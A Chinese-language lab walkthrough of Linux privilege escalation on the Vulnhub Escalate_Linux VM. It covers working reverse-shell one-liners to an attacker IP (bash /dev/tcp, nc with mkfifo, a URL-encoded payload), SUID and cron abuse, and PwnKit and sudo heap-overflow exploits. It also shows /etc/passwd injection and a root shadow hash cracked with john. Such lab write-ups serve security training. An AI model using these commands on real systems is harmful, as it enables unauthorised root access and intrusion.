前言
在日常渗透测试过程中,通常会先拿到webshell,当拿到的权限过低时,需要提升权限近一步渗透。本篇将以Vulnhub的Escalate_Linux靶场为例,总结一下linux环境下常见的提权方法。
信息搜集
探测发现主机
1 | sudo netdiscovert -r 192.168.80.1/24 |
找到靶机IP 192.168.80.53 (由于网络变动 靶机ip后面会变化)
端口扫描
1 | sudo nmap -Pn -sV 192.168.80.53 |
1 | nmap -sVC -p- 192.168.80.53 |
存在http web服务、139、445、smb、nfs
先看下http服务
访问为Apache 默认页面 dirsearch 扫下目录
发现存在 shell.php 普通用户权限
反弹shell
利用nc 反弹bash
1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.80.56/3344 0>&1' |
利用burpsuite 进行url编码
1 | %2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%38%30%2e%37%33%2f%33%33%34%34%20%3e%26%31%27 |
反弹得到shell
![file:///var/folders/9f/vk166n511ng3f8ljv5qvq_tm0000gn/T/utools.notes/f790198318d6609601f07e5740f24ca2.png)
权限提升
0x00 LinEnum脚本枚举
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
0x01 SUID提权
1 | find / -perm -u=s -type f 2>/dev/null |
user3下 执行可直接得到root权限
除了shell之外 还存在一个root权限且具有写入权限的 .script.sh 脚本 利用该脚本将bash写到tmp下并给予s权限
echo "cp /bin/bash /tmp/sh" > .script.sh echo "chmod +s /tmp/sh" > .script.sh
./shell
./sh -p
0x02 环境变量提权
在user5下 也存在s 权限的 script 文件
运行后功能 等同于 ls
1 | cd /tmp |
0x03 Pkexec提权
https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
https://github.com/berdav/CVE-2021-4034
前面发现有python3环境 直接尝试python3的poc
由于也存在gcc环境 可以下载c版本 然后make编译运行
0x04 Mysql弱口令信息泄露
根据linEnum 找到mysql弱口令 root/root
得到一个账号密码 前面cat /etc/passwd时 发现存在mysql用户
使用该用户密码 可以登录
find / -user mysql 查看mysql用户下所属文件
cat /etc/mysql/secret.cnf 得到root用户的登录密码 【但是该密码并无法登录到root用户】
/var/mysql/.informations 没权限 需要root权限才可以
通过前面的pkexec 的root权限查看该文件 得到user2~user8的登录密码 user{i}@12345
0x05 Corntab提权
cat /etc/crontab 发现在user4下存在root权限的定时任务
先切换到user4用户下
autoscript.sh 在user4下具有写权限
用echo 覆写进去 反弹nc shell
python -c 'import pty;pty.spawn("/bin/bash")'
1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.80.60/8899 0>&1' |
中间有 ' 不太好处理 利用管道处理 mkfifo
1 | echo 'mkfifo /tmp/tmpipe; nc 192.168.80.60 8899 0</tmp/tmpipe | /bin/bash > /tmp/tmpipe 2>&1; rm /tmp/tmpipe' > autoscript.sh |
得到user4用户 但是是root权限
0x06 NFS挂载提权【未成功】
前面nmap扫端口时候 发现有nfs服务
利用LinEnum收集也找到了nfs相关信息
/home/user5目录下开启了 no_root_squash
1.查看NFS服务器上的共享目录
1 | sudo showmount -e 192.168.80.56 |
2.创建本地挂载目录 挂载共享目录 利用攻击机kali本地root权限创建suid shell
1 | sudo mkdir -p /tmp/data |
但是不管尝试bash 还是sh 都会报错 libtinfo.so文件缺失
(在ubuntu18下 经常会出现该问题 在ubuntu20下则不会有 由于靶机是ubuntu版本所以会报错缺失so文件)
0x07 john 爆破密码
通过前面提权方式 cat /etc/shadow
获取相关用户shadow信息 前面通过数据库已得到了user1-8的密码
1 | root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7::: |
john shadow.txt
得到root用户密码为 12345
成功登录到root用户
0x08 sudo提权1 — vi 提权
登录user8 sudo -l
vi 提权 参考 https://gtfobins.github.io/gtfobins/vi/
1 | sudo vi |
0x09 sudo提权 2
登录到user2
sudo -l
user2下所以 user1均具有权限
登录到user1 sudo -l
user1 具有所有权限 可直接su 登录root
0x0a sudo堆缓冲区溢出提权
sudo -V
该版本存在sudo 堆缓冲区溢出漏洞
影响版本在
- Sudo 1.8.2 - 1.8.31p2
- Sudo 1.9.0 - 1.9.5p1
POC : https://github.com/Rvn0xsy/CVE-2021-3156-plus
通过前面nfs挂载 直接在kali下下载poc 拷贝到user5目录下 make编译
1 | /expolit "id" |
0x0b root用户组提权 — 写入/etc/passwd
cat /etc/group
查看用户组
用户user4 user7 可以修改 /etc/passwd 写入新建用户
在kali下利用openssl
openssl passwd -1 -salt test test
1 | $1$test$pi/xDtU5WFVRqYS6BMU8X/ |
小结
1.内核漏洞提权
根据内核版本找对应版本的漏洞进行提权
1 | # 查看系统发行版本 |
2.SUID提权
SUID可以让程序调用者以文件所有者身份运行该文件,当我们以普通用户去运行一个root用户所有的SUID文件,那么运行该文件后就可以获取到root权限。
查找具有s权限的文件
find / -perm -u=s -type f 2>/dev/null
3.sudo提权
普通用户在使用sudo执行命令时,将会以root方式执行命令。在很多场景下通过配置sudoer文件可实现免密以root权限运行。通过sudo -l 查找用户下高权限第三方应用,可借助GTFOBins进行提权。
4.计划任务提权
系统中可能会有一些定时执行的任务,这些任务都由crontab管理,可通过cat /etc/crontab
查看计划任务,检查是否存在可以利用的文件,其本质就是文件权限配置不当。
5. 环境变量提权
当在目标机器查到具有SUID权限的编译文件,则可以通过以下方法获取管理员权限
- 1.echo命令法
1 | cd /tmp |
- 2.cp 法
1 | cd /home/user5/ |
- 3.软连接法(在此靶场中无法利用)
1 | ln -s /bin/sh /tmp/ls |
6.第三方服务提权
6.1 NFS提权
当服务器中存在nfs共享,且开启了****no_root_squash****时[可通过 cat /etc/exports查看],如果客户端使用的是root用户,那么对于共享目录来说就有root权限,以此提升权限。
- 1.查看NFS服务器共享目录
- 2.创建本地挂载目录 挂载共享目录,利用攻击者本地root权限创建suid shell
- 3.在服务器中以普通用户运行shell -p 以获取root权限
6.2 数据库提权
Mysql数据库提权有UDF提权、MOF提权、写入启动项等方式来提权,较为常见是则是UDF提权,具体步骤可分如下几步:
- 1.连接数据库
- 2.创建自定义函数
- 3.设置自定义函数权限
- 4.执行自定义函数以获取root权限
### References
https://gtfobins.github.io/
https://github.com/wwl012345/Vuln-List/blob/main/Windows%26Linux%E6%8F%90%E6%9D%83%26RCE%E5%90%88%E9%9B%86.md#Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E